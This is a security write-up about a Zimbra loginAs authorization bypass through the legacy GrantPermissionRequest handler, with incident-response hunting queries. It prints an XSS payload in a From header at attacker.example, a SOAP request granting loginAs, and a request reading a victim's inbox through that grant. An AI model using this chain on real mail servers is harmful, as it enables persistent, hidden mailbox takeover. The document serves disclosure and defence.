A Door the Password Reset Never Closes: Zimbra's Legacy GrantPermission Still Grants loginAs
This is the English adaptation of the original Korean analysis at dohyeontech.github.io. On 2 December 2026, Rapid7 published the second instalment of its Zimbra Collaboration Suite assessment: nine findings, written up
This is the English adaptation of the original Korean analysis at dohyeontech.github.io.
On 2 December 2026, Rapid7 published the second instalment of its Zimbra Collaboration Suite assessment: nine findings, written up by Jonah Burgess. The loudest numbers in the post belong to stored XSS flaws rated 9.3. This article is about a smaller number that matters more: CVE-2026-137843, an 8.1 authorization bypass that leaves something behind in LDAP. The CVE record was published on 3 December at 12:12 UTC and lists a public date of 2 December, 15:20 UTC.
The mechanism fits in one sentence. ZCS 10.1.20 added a guard that rejects loginAs in the GrantRightsRequest handler, but the legacy GrantPermissionRequest handler — still registered, still routable, and implemented against its own parser — resolves the same right and passes it to the shared ACL writer. The resulting ACE is a line in the account's zimbraACE attribute. It is not a session and it is not a credential, so resetting the victim's password or revoking their tokens does not remove it. The grantee authenticates with its own account and simply names the victim in the request context.
What this is not matters as much as what it is. It is not a standalone mailbox takeover. The request must run with authority over the target mailbox, and the grantee must already be a local account on the same server; an unrelated user cannot hand itself access. On its own the flaw does nothing. Its role in an intrusion is persistence and concealment — which is precisely the part that incident responders are trained to look for in the wrong place.
1. The first two lines of the runbook stop working
When a mail server compromise is suspected, the response is standard. Reset the password, revoke active sessions and auth tokens, re-bind MFA if needed. That procedure rests on an assumption: what the intruder holds is a credential and a session.
loginAs sits outside that assumption. In Zimbra, the right lets one account operate on another's mailbox while authenticated as itself. The client naming a target account in the SOAP header causes the server to check whether the authenticated user holds loginAs on that account.
// ACLAccessManager.canAccessAccount()
public boolean canAccessAccount(AuthToken at, Account target, boolean asAdmin) throws ServiceException {
// ... preliminary checks omitted
return this.canDo(at, (Entry)target, (Right)Rights.User.R_loginAs, asAdmin); // [4] loginAs authorization
}
The verdict is reached by consulting the target's ACL, not by comparing credentials. The attacker signs in with their own password, puts the victim's address in the header, and the ACL entry answers for them. A password change on the victim's account is irrelevant to the attacker's credential. Session revocation destroys the attacker's session, not the ACL entry, and a fresh session passes the same check. Rapid7's remediation guidance states it plainly: "Password changes and session revocation alone do not end that access."
The second half of the problem is visibility. With a loginAs ACE active on a test account, the owner opened Preferences > Accounts in the Classic client. The Delegates panel displayed "No results found." The grantee was not listed. That is structural rather than accidental: the web client's delegation controls offer sendAs and sendOnBehalfOf for outbound mail and provide no path to grant mailbox-level loginAs. The right therefore cannot be created through the UI and is not displayed by it. An owner staring at their own settings will not find it, no matter how carefully they look.
So both standard response actions miss, and the one screen a user can check shows nothing. What remains is a single LDAP attribute that can only be read on the server, with zmprov.
2. One operation, two handlers, one guard
The root cause is visible when two code paths are placed side by side. First, the handler ZCS 10.1.20 patched.
// GrantRights.java, ZCS 10.1.20 — handleACE()
UserRight right = RightManager.getInstance().getUserRight(eACE.getAttribute("right"));
GrantRights.checkIfRightIsLoginAsRight(right.getName()); // [0] account-handler guard
static void checkIfRightIsLoginAsRight(String right) throws ServiceException {
if (right.equals("loginAs")) {
throw ServiceException.PERM_DENIED(
"loginAs Right cannot be granted or revoked from user namespace"); // [1] loginAs rejected
}
}
The requested name is resolved to its canonical right and compared against loginAs; a match throws service.PERM_DENIED. The 10.1.20 release notes describe the change as an authorization issue in mailbox delegation, and the vendor advisory maps it to CVE-2026-50054. But the server registered a second handler that performs the same semantic operation.
// MailService.java
dispatcher.registerHandler(MailConstants.GRANT_PERMISSION_REQUEST, new GrantPermission()); // [2] legacy handler still registered
That handler is reachable in the urn:zimbraMail namespace. It is a different door, a different class, and a separately implemented parser from the urn:zimbraAccount GrantRightsRequest.
// GrantPermission.java — handle()
ZimbraSoapContext zsc = GrantPermission.getZimbraSoapContext(context);
if (!this.canAccessAccount(zsc, account = GrantPermission.getRequestedAccount(zsc))) { // [3] owner check
throw ServiceException.PERM_DENIED("can not access account");
}
HashSet<ZimbraACE> aces = new HashSet<ZimbraACE>();
for (Element eACE : request.listElements("ace")) {
ZimbraACE ace = GrantPermission.handleACE(eACE, zsc, true);
aces.add(ace);
}
List<ZimbraACE> granted = ACLUtil.grantRight(Provisioning.getInstance(), account, aces); // [4] LDAP write
The check at [3] asks only whether the caller holds authority over the target account. That is the precondition the operation has always required, and it is correct. The problem is the next hop.
// GrantPermission.handleACE()
UserRight right = RightManager.getInstance().getUserRight(eACE.getAttribute("right")); // [5] unrestricted lookup
GranteeType gtype = GranteeType.fromCode(eACE.getAttribute("gt"));
// ... grantee resolution and deny modifier omitted
return new ZimbraACE(zid, gtype, right, rightModifier, secret);
At [5] the name comes straight out of the registry. loginAs resolves, an ACE object is constructed, and [4] writes it through the same function the patched handler uses. The call to checkIfRightIsLoginAsRight() that exists in GrantRights does not exist here.
Structurally, the two handlers do the same job — verify the caller's authority, parse ACEs, write to the ACL — and the policy defining which rights may be granted was placed inside one of them rather than at the write. ACLUtil.grantRight(), the function both paths share, carries no policy. A guard installed at a call site protects that call site. Add a second call site and the guard is bypassed by design, not by cleverness.
One detail confirms the character of the legacy interface. Zimbra's SOAP reference documents only viewFreeBusy and invite for this request's right field. Accepting loginAs is outside the documented contract of the endpoint that accepts it.
The lineage explains the mistake. The original issue (CVE-2026-50054) was that GrantRightsRequest would grant any registered UserRight without restriction. The 10.1.20 release on 20 July closed that path correctly. It also closed only that path. The other door stayed open without the same lock, and was assigned a separate identifier.
| Item | Status |
|---|---|
| Affected code |
Confirmed — legacy GrantPermission handler registered for MailConstants.GRANT_PERMISSION_REQUEST in MailService.java; GrantPermission.handleACE() resolves any registered right and ACLUtil.grantRight() writes it |
| Severity |
Confirmed — CVSS 3.1 8.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (CNA: Rapid7), CWE-863 |
| Affected versions | Confirmed — ZCS 10.1.0 through 10.1.21 in the CVE record; the Rapid7 tracker lists 10.1.22 as affected too, with no confirmed fix |
| Fixed release | None — nothing through 10.1.22 on 2 December |
| Exploited in the wild | Not confirmed — no attack reporting from vendor or researchers; not in KEV |
| Public PoC |
Confirmed — grant, exploit and revoke tooling in jburgess-r7/zimbra-vulnerability-tracker
|
| Preconditions | Confirmed — authority over the target mailbox (for example authenticated-origin XSS) and an existing local grantee account |
3. From one email to one LDAP line
Because the flaw needs authority first, the real chain starts by executing script in the victim's authenticated origin. The delivery vectors in part two are all stored XSS from the same batch.
The most economical is the Classic counter-proposal view (CVE-2026-93647, 9.3). Markup goes into the quoted local part of the sender address. The PoC runs alert(document.domain) from a 44-octet payload, and uses a 62-octet bootstrap to pull in a longer script.
From: "<img src=x onerror='for(i=length;i--;)eval(top[i].x.value)'>"@attacker.example
The bootstrap walks the Classic right-side reading pane's frames in reverse, reads the longer script from a hidden textarea (id=x) in the same message's HTML body, and evaluates it. The recipient has to select the message in the inbox. No link, no password prompt, no share approval. Other entry points produce the same result: forged share invitations that execute on "Accept Share" (CVE-2026-93641 Classic, CVE-2026-93642 Modern, both 9.3), and the Classic Scheduler, which renders the organizer address as HTML when a recipient with Group Calendar enabled chooses Propose New Time (CVE-2026-93648, 9.3, no fix).
Once script runs in the Classic origin, the rest is short. It reads the client's CSRF token and sends a single SOAP request while the browser attaches the session cookie.
<GrantPermissionRequest xmlns="urn:zimbraMail">
<ace right="loginAs" gt="usr" d="[email protected]"/>
</GrantPermissionRequest>
ZM_AUTH_TOKEN is HttpOnly, so the script cannot read it — but it does not need to. The browser attaches it to same-origin requests. The only header the script must supply is X-Zimbra-Csrf-Token.
The researchers' direct comparison is unambiguous. Sending the same loginAs ACE through GrantRightsRequest produced service.PERM_DENIED. Sending it through GrantPermissionRequest returned HTTP 200 with a GrantPermissionResponse and created the ACE.
Then the attacker logs in normally, as themselves, and names the victim in the context header.
POST /service/soap HTTP/1.1
Host: mail.lab.local
Content-Type: application/soap+xml
Cookie: ZM_AUTH_TOKEN=ATTACKER_OWN_TOKEN
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<authToken>ATTACKER_OWN_TOKEN</authToken>
<account by="name">victim@lab.local</account>
</context>
</soap:Header>
<soap:Body>
<SearchRequest xmlns="urn:zimbraMail" types="message">
<query>in:inbox</query>
</SearchRequest>
</soap:Body>
</soap:Envelope>
Because account names the victim, that SearchRequest returns the victim's inbox, not the attacker's. Every later operation — read, send, delete, filter installation — works the same way, and the XSS is never needed again.
One artefact survives all of it.
# name [email protected]
zimbraACE: 8e32a0a0-3d82-4a58-a78b-6f6461ae5436 usr loginAs
That is real output from the researchers' 10.1.16 test: the grantee UUID, the usr grantee type, and the right. Delete the email, lose the XSS record, wait out the session — the line stays. Only the owner or an administrator removes it, explicitly, from the ACL.
4. Three releases, three different stories
The reason this is awkward is that the last three releases each fixed something else.
| Release | Date | Relation to this batch |
|---|---|---|
| 10.1.20 | 20 July | Blocks loginAs in GrantRightsRequest (CVE-2026-50054). The legacy GrantPermissionRequest path is untouched |
| 10.1.21 | 24 September | Fixes three of the four XSS entry points (CVE-2026-93641, 93642, 93647) plus OnlyOffice and password-recovery issues |
| 10.1.22 | 2 December | Bundled NGINX proxy only — five NGINX2Root CVEs (CVE-2026-123007, 123633, 113425, 118899, 97629). Application packages are unchanged from 10.1.21 |
The 10.1.22 package list is three proxy packages: zimbra-proxy-patch, zimbra-proxy-components, zimbra-nginx. No mailbox application code changed. That is why the tracker lists 10.1.22 as affected and "no confirmed fix." The CVE record's 10.1.0–10.1.21 range reflects the versions known when the record was published, not a boundary that the December release moved.
The vendor's security advisory page does not list the identifier at all. It carries CVE-2026-50054 under 10.1.20 and the three XSS entries under 10.1.21; CVE-2026-137843, CVE-2026-93648 and the three calendar findings are absent.
With no patch available, the useful work is finding grants that already exist. The flaw leaves an LDAP artefact, which makes it easier to hunt than to fix. Run as the zimbra Unix account on the server.
/opt/zimbra/bin/zmprov -l sa '(zimbraACE=*loginAs)'
For each returned account, pull the full ACL.
/opt/zimbra/bin/zmprov -l ga [email protected] zimbraACE
The grantee UUID resolves back to an account with zmprov -l ga <UUID> mail zimbraId. Two cautions matter when reading the output. The search also returns deny entries such as -loginAs; removing one of those creates the permission rather than removing it, so allow entries (loginAs) and deny entries (-loginAs) must be told apart before anything is revoked. Legitimate administrative grants appear in the same shape and must be checked against approved delegation records. And the query covers direct account ACLs only — rights inherited from domains or groups are not in scope.
Correlate with the request log.
zgrep -E '\] soap - (\(batch\) )?Grant(Rights|Permission)Request( elapsed=|$)' \
/opt/zimbra/log/mailbox.log*
The default line gives a timestamp, an account context and a soapId. It does not include the requested right, and it does not prove that LDAP changed. Follow the soapId into neighbouring records, and confirm any surviving grant with the ACL query. A body-based detector has to parse both the XML and JSON forms Zimbra accepts; literal string matching is evaded with ordinary character escapes.
A defensible order of work: move to 10.1.21 or later to close the three XSS entry points used as first footholds; narrow the surface of Classic and Group Calendar where an organisation does not actually depend on them, which removes the firing conditions for the 93647 and 93648 family; then run the ACL query once, looking for grants nobody remembers granting. Accounts that were "cleaned up" after a suspected mailbox compromise deserve that check first, because that cleanup did not remove anything this flaw created.
5. What is still open in the same batch
Four of the nine findings in part two have public fixes. Five do not. Three of the unfixed ones need no interaction at all.
| CVE | Finding | CVSS | Status |
|---|---|---|---|
| CVE-2026-93627 | Cancel or modify an existing meeting by email | 5.3 | No fix |
| CVE-2026-93628 | Forge another attendee's RSVP | 5.3 | No fix |
| CVE-2026-93629 | Inject a meeting attributed to another organizer (auto-add on) | 5.3 | No fix |
| CVE-2026-93648 | Stored XSS via the organizer address in the Classic Scheduler | 9.3 | No fix |
| CVE-2026-137843 |
loginAs grant through the legacy GrantPermission handler |
8.1 | No fix |
The calendar forgeries take effect during delivery, before the recipient opens anything, but their reach is the calendar and the first two need a UID, organizer and sequence from an existing meeting. Rapid7 has scheduled parts three and four for 9 and 16 December, covering code execution through the document services and local privilege escalation to root. Given how Zimbra was used this year, those two are likely the heavier instalments: CVE-2026-73570, the SNMP command injection, was exploited in the wild, landed in KEV, and Shadowserver attributed 274 compromised instances to that wave. This batch has no attack reporting and no KEV entry yet.
Exposure figures depend on who is counting. FlowIQ reported 29,129 services and 22,024 distinct hosts identifying as Zimbra in a recount taken at 18:01 UTC on 4 December, excluding honeypot responses. Shadowserver was tracking roughly 10,000 instances in late September. Either way, a substantial number of self-hosted mail servers sit directly on the internet, and the conditions this flaw needs — a local account, and one authenticated origin — are ordinary in that population.
6. Where the guard goes
The takeaway is not a line of code in one handler. It is a question about which layer enforces authorization.
loginAs grants read, send, modify and delete over an entire mailbox. A right like that belongs on a list of ungrantable rights, or behind an administrator-only interface. Zimbra's implementation instead resolved any registered UserRight by name at every grant handler, and the restriction arrived later as an extra check inside one of them. When a second door to the same operation existed, the policy was standing at the first one.
Had the check lived inside the ACL writer, a new handler or a legacy handler would have had to pass it. With the policy scattered across call sites, every remaining call site needs a copy, and missing one produces a bypass. In this case the missed copy guarded the oldest door in the codebase.
The operational lesson is shorter. Access stored in a directory is not removed by rotating credentials. An incident response procedure that does not include a pass over authorization data can reset every password, revoke every session, and leave the intruder exactly where they were. This CVE is a worked example of why that line belongs in the runbook — and, until a fix ships, why the ACL query is the only thing that answers the question.
Originally published in Korean at dohyeontech.github.io.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.